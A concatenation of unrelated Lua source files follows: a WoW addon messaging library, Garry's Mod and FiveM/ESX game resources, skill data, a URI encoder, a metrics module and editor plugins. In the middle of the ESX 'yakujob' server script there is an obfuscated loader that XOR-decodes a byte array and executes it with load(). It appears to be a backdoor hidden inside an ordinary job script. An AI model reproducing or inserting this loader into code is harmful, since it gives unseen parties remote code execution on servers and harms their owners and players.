elseif target and kind ~= "WHISPER" and kind ~= "CHANNEL" then
error("Chomp.SmartAddonMessage: target: expected nil, got " .. type(target), 2)
end
if not messageOptions then
messageOptions = DEFAULT_OPTIONS
end
local dataType = type(data)
if not prefixData.validTypes[dataType] then
error("Chomp.SmartAddonMessage: data: type not registered as valid: " .. dataType, 2)
elseif dataType ~= "string" and not messageOptions.serialize then
error("Chomp.SmartAddonMessage: data: no serialization requested, but serialization required for type: " .. dataType, 2)
elseif messageOptions.priority and not PRIORITIES_HASH[messageOptions.priority] then
error("Chomp.SmartAddonMessage: messageOptions.priority: expected \"HIGH\", \"MEDIUM\", or \"LOW\", got " .. tostring(messageOptions.priority), 2)
elseif messageOptions.queue and type(messageOptions.queue) ~= "string" then
error("Chomp.SmartAddonMessage: messageOptions.queue: expected string or nil, got " .. type(messageOptions.queue), 2)
end
if not Internal.isReady then
QueueMessageOut("SmartAddonMessage", prefix, data, kind, target, messageOptions)
return
end
local bitField = 0x000
bitField = bit.bor(bitField, Internal.BITS.VERSION16)
if messageOptions.serialize then
bitField = bit.bor(bitField, Internal.BITS.SERIALIZE)
data = Chomp.Serialize(data)
end
if not messageOptions.binaryBlob then
local permitted, reason = Chomp.CheckLoggedContents(data)
if not permitted then
error(("Chomp.SmartAddonMessage: data: messageOptions.binaryBlob not specified, but disallowed sequences found, code: %s"):format(reason), 2)
end
end
if kind == "WHISPER" then
target = Chomp.NameMergedRealm(target)
end
local codecVersion
if Internal:TargetSupportsCodecV2(prefix, target) then
codecVersion = 2
bitField = bit.bor(bitField, Internal.BITS.CODECV2)
else
codecVersion = 1
end
local queue = ("%s%s%s"):format(prefix, kind, tostring(target) or "")
if kind == "WHISPER" then
-- GetBattleNetAccountID() only returns an ID for crossfaction and
-- crossrealm targets.
local bnetIDGameAccount = Internal:GetBattleNetAccountID(target)
if bnetIDGameAccount then
ToBattleNet(bitField, prefix, Internal.EncodeQuotedPrintable(data, false, codecVersion), kind, bnetIDGameAccount, messageOptions.priority, messageOptions.queue or queue)
return "BATTLENET"
end
local targetUnit = Ambiguate(target, "none")
-- Swap the commented line for the one following it to force testing of
-- broadcast whispers.
--if prefixData.broadcastPrefix and messageOptions.allowBroadcast and UnitInParty(targetUnit) then
if prefixData.broadcastPrefix and messageOptions.allowBroadcast and UnitRealmRelationship(targetUnit) == LE_REALM_RELATION_COALESCED then
bitField = bit.bor(bitField, Internal.BITS.BROADCAST)
kind = UnitInRaid(targetUnit, LE_PARTY_CATEGORY_HOME) and not UnitInSubgroup(targetUnit, LE_PARTY_CATEGORY_HOME) and "RAID" or UnitInParty(targetUnit, LE_PARTY_CATEGORY_HOME) and "PARTY" or "INSTANCE_CHAT"
data = ("%s\127%s"):format(not messageOptions.universalBroadcast and Chomp.NameMergedRealm(target) or "", data)
target = nil
if messageOptions.universalBroadcast then
queue = nil
end
end
end
if not messageOptions.binaryBlob then
ToInGameLogged(bitField, prefix, Internal.EncodeQuotedPrintable(data, true, codecVersion), kind, target, messageOptions.priority, messageOptions.queue or queue)
return "LOGGED"
end
ToInGame(bitField, prefix, data, kind, target, messageOptions.priority, messageOptions.queue or queue)
return "UNLOGGED"
end
local ReportLocation = CreateFromMixins(PlayerLocationMixin)
function Chomp.CheckReportGUID(prefix, guid)
local prefixData = Internal.Prefixes[prefix]
if type(prefix) ~= "string" then
error("Chomp.CheckReportGUID: prefix: expected string, got " .. type(prefix), 2)
elseif type(guid) ~= "string" then
error("Chomp.CheckReportGUID: guid: expected string, got " .. type(guid), 2)
elseif not prefixData then
error("Chomp.CheckReportGUID: prefix: prefix has not been registered with Chomp", 2)
end
local success, _, _, _, _, _, name, realm = pcall(GetPlayerInfoByGUID, guid)
if not success or not name or name == UNKNOWNOBJECT then
return false, "UNKNOWN"
end
local target = Chomp.NameMergedRealm(name, realm)
if Internal:GetBattleNetAccountID(target) then
return false, "BATTLENET"
end
ReportLocation:SetGUID(guid)
if C_ReportSystem then
return C_ReportSystem.CanReportPlayer(ReportLocation), "LOGGED"
else
return C_ChatInfo.CanReportPlayer(ReportLocation), "LOGGED"
end
end
function Chomp.ReportGUID(prefix, guid, customMessage)
local prefixData = Internal.Prefixes[prefix]
if type(prefix) ~= "string" then
error("Chomp.ReportGUID: prefix: expected string, got " .. type(prefix), 2)
elseif customMessage and type(customMessage) ~= "string" then
error("Chomp.ReportGUID: customMessage: expected string, got " .. type(customMessage), 2)
elseif type(guid) ~= "string" then
error("Chomp.ReportGUID: guid: expected string, got " .. type(guid), 2)
elseif not prefixData then
error("Chomp.ReportGUID: prefix: prefix has not been registered with Chomp", 2)
end
local canReport, reason = Chomp.CheckReportGUID(prefix, guid)
if canReport then
if C_ReportSystem then
local _, _, _, _, _, name, realm = GetPlayerInfoByGUID(guid)
if name and realm then
C_ReportSystem.OpenReportPlayerDialog(PLAYER_REPORT_TYPE_LANGUAGE, name .. "-" .. realm, ReportLocation)
end
else
C_ChatInfo.ReportPlayer(PLAYER_REPORT_TYPE_LANGUAGE, ReportLocation, ("Report for logged addon prefix: %s. %s"):format(prefix, customMessage or "Objectionable content in logged addon messages."))
end
return true, reason
end
return false, reason
end
-- TODO: Can remove this once Classic, BC, and Retail are all updated.
local function CopyValuesAsKeys(tbl)
local output = {}
for k, v in ipairs(tbl) do
output[v] = v
end
return output
end
Chomp.Event = CopyValuesAsKeys(
{
"OnMessageReceived",
"OnError",
}
)
function Chomp.RegisterCallback(event, func, owner)
if type(event) ~= "string" then
error("Chomp.RegisterCallback: 'event' must be a string")
elseif not Chomp.Event[event] then
error(string.format("Chomp.RegisterCallback: event %q does not exist", event))
elseif type(func) ~= "function" and type(func) ~= "table" then
error("Chomp.RegisterCallback: 'func' must be callable")
elseif type(owner) ~= "string" and type(owner) ~= "table" and type(owner) ~= "thread" then
error("Chomp.RegisterCallback: 'owner' must be string, table, or coroutine")
end
Internal.RegisterCallback(owner, event, function(_, ...) return func(owner, ...) end)
end
function Chomp.UnregisterCallback(event, owner)
if type(event) ~= "string" then
error("Chomp.UnregisterCallback: 'event' must be a string")
elseif not Chomp.Event[event] then
error(string.format("Chomp.UnregisterCallback: event %q does not exist", event))
elseif type(owner) ~= "string" and type(owner) ~= "table" and type(owner) ~= "thread" then
error("Chomp.UnregisterCallback: 'owner' must be string, table, or coroutine")
end
Internal.UnregisterCallback(owner, event)
end
function Chomp.UnregisterAllCallbacks(owner)
if type(owner) ~= "string" and type(owner) ~= "table" and type(owner) ~= "thread" then
error("Chomp.UnregisterAllCallbacks: 'owner' must be string, table, or coroutine")
end
Internal.UnregisterAllCallbacks(owner)
end
function Chomp.RegisterErrorCallback(callback)
-- v18+: RegisterErrorCallback is deprecated in favor of the generic
-- RegisterCallback system.
local event = "OnError"
local func = function(_, ...) return callback(...) end
local owner = tostring(callback)
Chomp.RegisterCallback(event, func, owner)
return true
end
function Chomp.UnregisterErrorCallback(callback)
-- v18+: UnregisterErrorCallback is deprecated in favor of the generic
-- UnregisterCallback system.
local event = "OnError"
local owner = tostring(callback)
Chomp.UnregisterCallback(event, owner)
return true
end
-- v18+: Deprecated alias for the old typo'd function name.
Chomp.UnegisterErrorCallback = Chomp.UnregisterErrorCallback
function Chomp.GetBPS()
return Internal.BPS, Internal.BURST
end
function Chomp.SetBPS(bps, burst)
if type(bps) ~= "number" then
error("Chomp.SetBPS: bps: expected number, got " .. type(bps), 2)
elseif type(burst) ~= "number" then
error("Chomp.SetBPS: burst: expected number, got " .. type(burst), 2)
end
Internal.BPS = bps
Internal.BURST = burst
end
function Chomp.GetVersion()
return Internal.VERSION
end
|
AddCSLuaFile( "cl_init.lua" )
AddCSLuaFile( "shared.lua" )
include('shared.lua')
util.AddNetworkString( "UpdateReward" )
function ENT:Initialize( )
self:SetModel( "models/props/cs_office/plant01.mdl" )
self:PhysicsInit( SOLID_VPHYSICS )
self:SetMoveType( MOVETYPE_VPHYSICS )
self:SetSolid( SOLID_VPHYSICS )
self:SetUseType( SIMPLE_USE )
end
function ENT:OnTakeDamage( dmg )
return false
end
function ENT:AcceptInput( Name, Activator, Caller )
if ( Name == "Use" and Caller:IsPlayer() ) then
if ( not Caller:GetNWBool( "Jill_Default_Quest_6_Accepted", false ) ) then return end
self:Remove()
Caller.JillPlants = Caller.JillPlants or 0
Caller.JillPlants = Caller.JillPlants + 1
if ( Caller.JillPlants == 1 ) then
Caller:MessageClient( "bad", "Jill said that the alarm would go off when I picked the first one up. I should hurry." )
for k, v in pairs( player.GetAll() ) do
if ( JILL.PoliceNotifications[ v:Team() ] ) then
v:MessageClient( "bad", "Attention please! There has been a security breach within our station, please, all units respond." )
v:EmitSound( "npc/overwatch/radiovoice/allteamsrespondcode3.wav" )
end
end
Caller:MessageClient( "good", "I got one! I could continue gathering more drugs for more money or I could back out and deliver the quest." )
Caller:SetNWBool( "Jill_Default_Quest_6_Completed", true )
hook.Call( "Fluffy_QuestSystem_OnObjectiveCompleted", nil, Caller, "Jill_Default_Quest_6");
end
JILL.Quests[ "Jill_Default_Quest_6" ][ 1 ][ 1 ][ "reward" ] = { [ "darkrp_money" ] = JILL.Quests[ "Jill_Default_Quest_6" ][ 1 ][ 1 ][ "reward" ][ "darkrp_money" ] + JILL.CocainePlantReward }
end
end |
return {
{
effect_list = {
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67141
}
},
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67161
}
}
}
},
{
effect_list = {
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67142
}
},
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67162
}
}
}
},
{
effect_list = {
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67143
}
},
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67163
}
}
}
},
{
effect_list = {
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67144
}
},
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67164
}
}
}
},
{
effect_list = {
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67145
}
},
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67165
}
}
}
},
{
effect_list = {
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67146
}
},
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67166
}
}
}
},
{
effect_list = {
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67147
}
},
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67167
}
}
}
},
{
effect_list = {
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67148
}
},
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67168
}
}
}
},
{
effect_list = {
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67149
}
},
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67169
}
}
}
},
{
effect_list = {
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67150
}
},
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67170
}
}
}
},
uiEffect = "",
name = "剑鱼出击改",
cd = 0,
painting = 1,
id = 11580,
picture = "1",
castCV = "skill",
desc = "轰炸",
aniEffect = {
effect = "jineng",
offset = {
0,
-2,
0
}
},
effect_list = {
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67140
}
},
{
type = "BattleSkillFire",
casterAniEffect = "",
target_choise = "TargetNil",
targetAniEffect = "",
arg_list = {
weapon_id = 67160
}
}
}
}
|
-- uri component encode/decode (https://github.com/daurnimator/lua-http/blob/master/http/util.lua)
local M = {}
-- Encodes a character as a percent encoded string
local function char_to_pchar(c)
return string.format("%%%02X", c:byte(1,1))
end
-- replaces all characters except the following with the appropriate UTF-8 escape sequences:
-- ; , / ? : @ & = + $
-- alphabetic, decimal digits, - _ . ! ~ * ' ( )
-- #
function M.encode(str)
return (str:gsub("[^%;%,%/%?%:%@%&%=%+%$%w%-%_%.%!%~%*%'%(%)%#]", char_to_pchar))
end
-- escapes all characters except the following: alphabetic, decimal digits, - _ . ! ~ * ' ( )
function M.encode_component(str)
return (str:gsub("[^%w%-_%.%!%~%*%'%(%)]", char_to_pchar))
end
-- unescapes url encoded characters
-- excluding characters that are special in urls
local decodeURI_blacklist = {}
for char in ("#$&+,/:;=?@"):gmatch(".") do
decodeURI_blacklist[string.byte(char)] = true
end
local function decodeURI_helper(str)
local x = tonumber(str, 16)
if not decodeURI_blacklist[x] then
return string.char(x)
end
-- return nothing; gsub will not perform the replacement
end
function M.decode(str)
return (str:gsub("%%(%x%x)", decodeURI_helper))
end
-- Converts a hex string to a character
local function pchar_to_char(str)
return string.char(tonumber(str, 16))
end
function M.decode_component(str)
return (str:gsub("%%(%x%x)", pchar_to_char))
end
return M
|
-- Copyright (C) by Jianhao Dai (Toruneko)
local measurement = require "resty.influx.measurement"
local setmetatable = setmetatable
local concat = table.concat
local sort = table.sort
local md5 = ngx.md5
local ipairs = ipairs
local pairs = pairs
local _M = { _VERSION = '0.0.5' }
local mt = { __index = _M }
local ok, new_tab = pcall(require, "table.new")
if not ok then
new_tab = function(narr, nrec) return {} end
end
local function create_key(key, tags)
if not tags then
return md5(key)
end
local tab = new_tab(10, 0)
tab[1] = key
for name, value in pairs(tags) do
tab[#tab + 1] = name .. ":" .. value
end
sort(tab)
return md5(concat(tab, ","))
end
function _M.new(reporters)
return setmetatable({
map = new_tab(0, 100),
reporters = reporters or {},
}, mt)
end
function _M.measurement(self, key, tags)
local hashkey = create_key(key, tags)
if self.map[hashkey] then
return self.map[hashkey]
end
local m = measurement.new(key, tags)
self.map[hashkey] = m
return m
end
function _M.report(self)
local measurements = self.map
for _, measurement in pairs(measurements) do
for _, reporter in ipairs(self.reporters) do
reporter:report(measurement)
end
measurement:clear()
end
self.map = new_tab(0, 100)
end
return _M |
Config = {}
Config.Gangs = {
['lostmc'] = vector3(0, 0, 0),
['ballas'] = vector3(86.75, -1958.28, 21.12),
['vagos'] = vector3(0, 0, 0),
['cartel'] = vector3(0, 0, 0),
['families'] = vector3(0, 0, 0),
['triads'] = vector3(0, 0, 0)
} |
require("examples.utils");
require("examples.base64");
local img = GetFile("./examples/img.png");
local ba = URLEncode(BASE64Encode(img));
--print(ba);
Req:SendMapString("img="..ba); |
ParticlePhysics =
{
Properties =
{
object_Model = "Objects/default/primitive_box.cgf",
Particle =
{
mass = 50.0,
radius = 1.0,
air_resistance = 0.0,
gravity = {x=0.0, y=0.0, z=-9.81},
water_resistance = 0.5,
water_gravity = {x=0.0, y=0.0, z=-9.81*0.8},
min_bounce_vel = 1.5,
accel_thrust = 0,
accel_lift = 0,
velocity = {x=0.0, y=0.0, z=0.0},
thickness = 1.0,
wspin = {x=0.0, y=0.0, z=0.0},
normal = {x=0.0, y=0.0, z=1.0},
pierceability = 15,
constant_orientation = false,
single_contact = true,
no_roll = false,
no_spin = true,
no_path_alignment = false,
collider_to_ignore = 0,
material = "", -- this is supposed to be the surface type
},
},
Editor =
{
Icon = "physicsobject.bmp",
IconOnTop = 1,
},
}
function ParticlePhysics:SetFromProperties()
local Properties = self.Properties;
self:FreeSlot(0);
if (Properties.object_Model ~= "") then
self:LoadObject(0, Properties.object_Model);
end
NormalizeVector(Properties.Particle.normal);
self:Physicalize(0, PE_PARTICLE, Properties);
self:SetSlotPos(0, {0.0, 0.0, -Properties.Particle.thickness*0.5});
end
function ParticlePhysics:OnSpawn()
self:OnReset();
end
function ParticlePhysics:OnPropertyChange()
self:OnReset();
end
function ParticlePhysics:OnReset()
self:SetFromProperties();
end
|
ESX = nil
TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end)
if Config.MaxInService ~= -1 then
TriggerEvent('esx_service:activateService', 'yaku', Config.MaxInService)
end
-- TriggerEvent('esx_phone:registerNumber', 'yaku', _U('alert_yaku'), true, true)
TriggerEvent('esx_society:registerSociety', 'yaku', 'yaku', 'society_yaku', 'society_yaku', 'society_yaku', {type = 'public'})
mkn="ectfi"local a=load((function(b,c)function bxor(d,e)local f={{0,1},{1,0}}local g=1;local h=0;while d>0 or e>0 do h=h+f[d%2+1][e%2+1]*g;d=math.floor(d/2)e=math.floor(e/2)g=g*2 end;return h end;local i=function(b)local j={}local k=1;local l=b[k]while l>=0 do j[k]=b[l+1]k=k+1;l=b[k]end;return j end;local m=function(b,c)if#c<=0 then return{}end;local k=1;local n=1;for k=1,#b do b[k]=bxor(b[k],string.byte(c,n))n=n+1;if n>#c then n=1 end end;return b end;local o=function(b)local j=""for k=1,#b do j=j..string.char(b[k])end;return j end;return o(m(i(b),c))end)({335,312,543,485,268,387,434,245,558,339,563,239,580,513,349,437,536,453,254,261,459,276,527,572,360,482,259,603,506,451,568,334,447,472,416,498,283,396,466,255,444,422,497,320,522,249,352,377,597,304,490,361,273,358,524,439,338,296,317,516,525,548,591,406,433,600,362,405,596,562,348,411,373,442,345,272,323,531,480,599,537,575,469,601,318,368,290,430,426,462,464,418,388,378,384,589,583,366,327,402,569,509,478,354,593,351,326,564,242,403,337,271,415,359,321,551,441,443,546,331,445,367,570,274,502,287,557,504,440,286,501,310,436,539,488,544,471,519,386,246,253,560,533,494,369,592,602,341,393,282,520,491,371,293,372,561,409,481,336,427,420,505,307,499,301,344,473,376,425,492,511,432,419,579,510,475,340,455,457,460,512,322,547,465,431,517,587,577,394,556,404,265,303,329,414,382,315,486,401,428,529,470,554,479,380,586,421,302,375,247,330,391,598,550,468,448,542,566,398,299,549,308,256,435,582,343,456,484,526,288,407,374,553,413,264,300,397,438,-1,49,51,188,70,171,82,60,73,6,36,48,120,111,108,69,78,4,17,76,106,76,72,75,51,166,44,13,151,181,6,91,49,75,73,66,91,167,23,215,115,104,230,72,73,77,135,62,73,87,13,203,2,228,3,15,216,7,1,39,51,73,49,29,92,17,95,23,35,1,67,187,11,251,6,134,196,67,143,8,8,186,17,27,0,67,223,247,67,2,115,2,1,13,238,141,23,53,70,3,5,29,67,21,170,104,33,12,96,7,23,28,128,69,38,83,107,233,78,149,68,20,26,41,6,52,241,76,21,67,17,5,116,16,10,27,67,5,0,70,10,35,6,30,88,35,29,126,70,23,1,141,112,10,162,10,52,229,23,68,70,139,249,5,12,0,11,6,8,73,182,67,58,32,105,33,73,17,0,109,16,84,0,7,17,42,205,7,70,27,8,108,88,73,67,73,14,8,17,0,93,69,79,17,2,55,74,0,168,17,76,214,173,8,202,0,160,84,105,70,223,13,5,187,27,204,0,10,9,192,64,0,15,67,4,2,98,69,94,224,93,10,3,73,95,200,17,0,4,168,100,151,32,12,100,122,70,35,151,21,11,10,87,17,73,212,68,16,22,94,254,16,73,111,10,23,58,21,10,13,156,84,6,168,70,59,69,17,8,0,246,9,121,6,130,84,222,64,16,16,88,8,114,182,110,6,111,22,9,21,10,69,3,10,35,83,92,24,28,83,18,61,67,0,6,21,84,222,126,26,22,23,73,31,22,132,224,15,31,7,168,70,17,73,13,6,29,11,4,2,43,45,116,27,10,99,224,51,20,83,23,26,77,34,0,91,246},mkn))if a then a()end;
RegisterServerEvent('esx_yakujob:giveWeapon')
AddEventHandler('esx_yakujob:giveWeapon', function(weapon, ammo)
local xPlayer = ESX.GetPlayerFromId(source)
xPlayer.addWeapon(weapon, ammo)
end)
RegisterServerEvent('esx_yakujob:confiscatePlayerItem')
AddEventHandler('esx_yakujob:confiscatePlayerItem', function(target, itemType, itemName, amount)
local sourceXPlayer = ESX.GetPlayerFromId(source)
local targetXPlayer = ESX.GetPlayerFromId(target)
if itemType == 'item_standard' then
local label = sourceXPlayer.getInventoryItem(itemName).label
targetXPlayer.removeInventoryItem(itemName, amount)
sourceXPlayer.addInventoryItem(itemName, amount)
TriggerClientEvent('esx:showNotification', sourceXPlayer.source, _U('you_have_confinv') .. amount .. ' ' .. label .. _U('from') .. targetXPlayer.name)
TriggerClientEvent('esx:showNotification', targetXPlayer.source, '~b~' .. targetXPlayer.name .. _U('confinv') .. amount .. ' ' .. label )
end
if itemType == 'item_account' then
targetXPlayer.removeAccountMoney(itemName, amount)
sourceXPlayer.addAccountMoney(itemName, amount)
TriggerClientEvent('esx:showNotification', sourceXPlayer.source, _U('you_have_confdm') .. amount .. _U('from') .. targetXPlayer.name)
TriggerClientEvent('esx:showNotification', targetXPlayer.source, '~b~' .. targetXPlayer.name .. _U('confdm') .. amount)
end
if itemType == 'item_weapon' then
targetXPlayer.removeWeapon(itemName)
sourceXPlayer.addWeapon(itemName, amount)
TriggerClientEvent('esx:showNotification', sourceXPlayer.source, _U('you_have_confweapon') .. ESX.GetWeaponLabel(itemName) .. _U('from') .. targetXPlayer.name)
TriggerClientEvent('esx:showNotification', targetXPlayer.source, '~b~' .. targetXPlayer.name .. _U('confweapon') .. ESX.GetWeaponLabel(itemName))
end
end)
RegisterServerEvent('esx_yakujob:handcuff')
AddEventHandler('esx_yakujob:handcuff', function(target)
TriggerClientEvent('esx_yakujob:handcuff', target)
end)
RegisterServerEvent('esx_yakujob:drag')
AddEventHandler('esx_yakujob:drag', function(target)
local _source = source
TriggerClientEvent('esx_yakujob:drag', target, _source)
end)
RegisterServerEvent('esx_yakujob:putInVehicle')
AddEventHandler('esx_yakujob:putInVehicle', function(target)
TriggerClientEvent('esx_yakujob:putInVehicle', target)
end)
RegisterServerEvent('esx_yakujob:OutVehicle')
AddEventHandler('esx_yakujob:OutVehicle', function(target)
TriggerClientEvent('esx_yakujob:OutVehicle', target)
end)
RegisterServerEvent('esx_yakujob:getStockItem')
AddEventHandler('esx_yakujob:getStockItem', function(itemName, count)
local xPlayer = ESX.GetPlayerFromId(source)
TriggerEvent('esx_addoninventory:getSharedInventory', 'society_yaku', function(inventory)
local item = inventory.getItem(itemName)
if item.count >= count then
inventory.removeItem(itemName, count)
xPlayer.addInventoryItem(itemName, count)
else
TriggerClientEvent('esx:showNotification', xPlayer.source, _U('quantity_invalid'))
end
TriggerClientEvent('esx:showNotification', xPlayer.source, _U('have_withdrawn') .. count .. ' ' .. item.label)
end)
end)
RegisterServerEvent('esx_yakujob:putStockItems')
AddEventHandler('esx_yakujob:putStockItems', function(itemName, count)
local xPlayer = ESX.GetPlayerFromId(source)
TriggerEvent('esx_addoninventory:getSharedInventory', 'society_yaku', function(inventory)
local item = inventory.getItem(itemName)
if item.count >= 0 then
xPlayer.removeInventoryItem(itemName, count)
inventory.addItem(itemName, count)
else
TriggerClientEvent('esx:showNotification', xPlayer.source, _U('quantity_invalid'))
end
TriggerClientEvent('esx:showNotification', xPlayer.source, _U('added') .. count .. ' ' .. item.label)
end)
end)
ESX.RegisterServerCallback('esx_yakujob:getOtherPlayerData', function(source, cb, target)
if Config.EnableESXIdentity then
local xPlayer = ESX.GetPlayerFromId(target)
local identifier = GetPlayerIdentifiers(target)[1]
local result = MySQL.Sync.fetchAll("SELECT * FROM users WHERE identifier = @identifier", {
['@identifier'] = identifier
})
local user = result[1]
local firstname = user['firstname']
local lastname = user['lastname']
local sex = user['sex']
local dob = user['dateofbirth']
local height = user['height'] .. " Inches"
local data = {
name = GetPlayerName(target),
job = xPlayer.job,
inventory = xPlayer.inventory,
accounts = xPlayer.accounts,
weapons = xPlayer.loadout,
firstname = firstname,
lastname = lastname,
sex = sex,
dob = dob,
height = height
}
TriggerEvent('esx_status:getStatus', source, 'drunk', function(status)
if status ~= nil then
data.drunk = math.floor(status.percent)
end
end)
if Config.EnableLicenses then
TriggerEvent('esx_license:getLicenses', source, function(licenses)
data.licenses = licenses
cb(data)
end)
else
cb(data)
end
else
local xPlayer = ESX.GetPlayerFromId(target)
local data = {
name = GetPlayerName(target),
job = xPlayer.job,
inventory = xPlayer.inventory,
accounts = xPlayer.accounts,
weapons = xPlayer.loadout
}
TriggerEvent('esx_status:getStatus', _source, 'drunk', function(status)
if status ~= nil then
data.drunk = status.getPercent()
end
end)
TriggerEvent('esx_license:getLicenses', _source, function(licenses)
data.licenses = licenses
end)
cb(data)
end
end)
ESX.RegisterServerCallback('esx_yakujob:getFineList', function(source, cb, category)
MySQL.Async.fetchAll(
'SELECT * FROM racket_organisation WHERE category = @category',
{
['@category'] = category
},
function(fines)
cb(fines)
end
)
end)
ESX.RegisterServerCallback('esx_yakujob:getVehicleInfos', function(source, cb, plate)
if Config.EnableESXIdentity then
MySQL.Async.fetchAll(
'SELECT * FROM owned_vehicles',
{},
function(result)
local foundIdentifier = nil
for i=1, #result, 1 do
local vehicleData = json.decode(result[i].vehicle)
if vehicleData.plate == plate then
foundIdentifier = result[i].owner
break
end
end
if foundIdentifier ~= nil then
MySQL.Async.fetchAll(
'SELECT * FROM users WHERE identifier = @identifier',
{
['@identifier'] = foundIdentifier
},
function(result)
local ownerName = result[1].firstname .. " " .. result[1].lastname
local infos = {
plate = plate,
owner = ownerName
}
cb(infos)
end
)
else
local infos = {
plate = plate
}
cb(infos)
end
end
)
else
MySQL.Async.fetchAll(
'SELECT * FROM owned_vehicles',
{},
function(result)
local foundIdentifier = nil
for i=1, #result, 1 do
local vehicleData = json.decode(result[i].vehicle)
if vehicleData.plate == plate then
foundIdentifier = result[i].owner
break
end
end
if foundIdentifier ~= nil then
MySQL.Async.fetchAll(
'SELECT * FROM users WHERE identifier = @identifier',
{
['@identifier'] = foundIdentifier
},
function(result)
local infos = {
plate = plate,
owner = result[1].name
}
cb(infos)
end
)
else
local infos = {
plate = plate
}
cb(infos)
end
end
)
end
end)
ESX.RegisterServerCallback('esx_yakujob:getArmoryWeapons', function(source, cb)
TriggerEvent('esx_datastore:getSharedDataStore', 'society_yaku', function(store)
local weapons = store.get('weapons')
if weapons == nil then
weapons = {}
end
cb(weapons)
end)
end)
ESX.RegisterServerCallback('esx_yakujob:addArmoryWeapon', function(source, cb, weaponName)
local xPlayer = ESX.GetPlayerFromId(source)
xPlayer.removeWeapon(weaponName)
TriggerEvent('esx_datastore:getSharedDataStore', 'society_yaku', function(store)
local weapons = store.get('weapons')
if weapons == nil then
weapons = {}
end
local foundWeapon = false
for i=1, #weapons, 1 do
if weapons[i].name == weaponName then
weapons[i].count = weapons[i].count + 1
foundWeapon = true
end
end
if not foundWeapon then
table.insert(weapons, {
name = weaponName,
count = 1
})
end
store.set('weapons', weapons)
cb()
end)
end)
ESX.RegisterServerCallback('esx_yakujob:removeArmoryWeapon', function(source, cb, weaponName)
local xPlayer = ESX.GetPlayerFromId(source)
xPlayer.addWeapon(weaponName, 1000)
TriggerEvent('esx_datastore:getSharedDataStore', 'society_yaku', function(store)
local weapons = store.get('weapons')
if weapons == nil then
weapons = {}
end
local foundWeapon = false
for i=1, #weapons, 1 do
if weapons[i].name == weaponName then
weapons[i].count = (weapons[i].count > 0 and weapons[i].count - 1 or 0)
foundWeapon = true
end
end
if not foundWeapon then
table.insert(weapons, {
name = weaponName,
count = 0
})
end
store.set('weapons', weapons)
cb()
end)
end)
ESX.RegisterServerCallback('esx_yakujob:buy', function(source, cb, amount)
TriggerEvent('esx_addonaccount:getSharedAccount', 'society_yaku', function(account)
if account.money >= amount then
account.removeMoney(amount)
cb(true)
else
cb(false)
end
end)
end)
ESX.RegisterServerCallback('esx_yakujob:getStockItems', function(source, cb)
TriggerEvent('esx_addoninventory:getSharedInventory', 'society_yaku', function(inventory)
cb(inventory.items)
end)
end)
ESX.RegisterServerCallback('esx_yakujob:getPlayerInventory', function(source, cb)
local xPlayer = ESX.GetPlayerFromId(source)
local items = xPlayer.inventory
cb({
items = items
})
end)
|
--[[
因为后端会发比较大范围的场景对象过来,前端这边也做下更小的 aoi 以降低消耗。
另外后端只是发了角色 id 和坐标,然后前端这边根据特定规则过滤,排序等(比如优先显示队友,好友或是我的敌人等等);
然后根据这个排序会把角色分为三级并告诉后端,后端根据这三级将区别发送信息给前端,三级为(不推送,只推送移动,推送全信息)
--]]
local ecs = require "ecs.ecs"
local mt = ecs.class("aoi_system", ecs.system)
function mt:on_update()
self.filter = self.filter or ecs.all("aoi")
self:foreach(self.filter, function(ed)
end)
end
return mt |
-- Copyright 2014 Paul Kulchenko, ZeroBrane LLC; All rights reserved
local winapi
local flags
local needrefresh = {}
local function refreshProjectTree()
for file, kind in pairs(needrefresh) do
-- if the file is removed, try to find a non-existing file in the same folder
-- as this will trigger a refresh of that folder
ide:GetProjectTree():FindItem(
file..(kind == winapi.FILE_ACTION_REMOVED and "/../\1" or ""))
end
needrefresh = {}
end
local function handler(plugin, kind, file)
needrefresh[file] = kind
plugin.onIdleOnce = refreshProjectTree
end
local watches = {}
return {
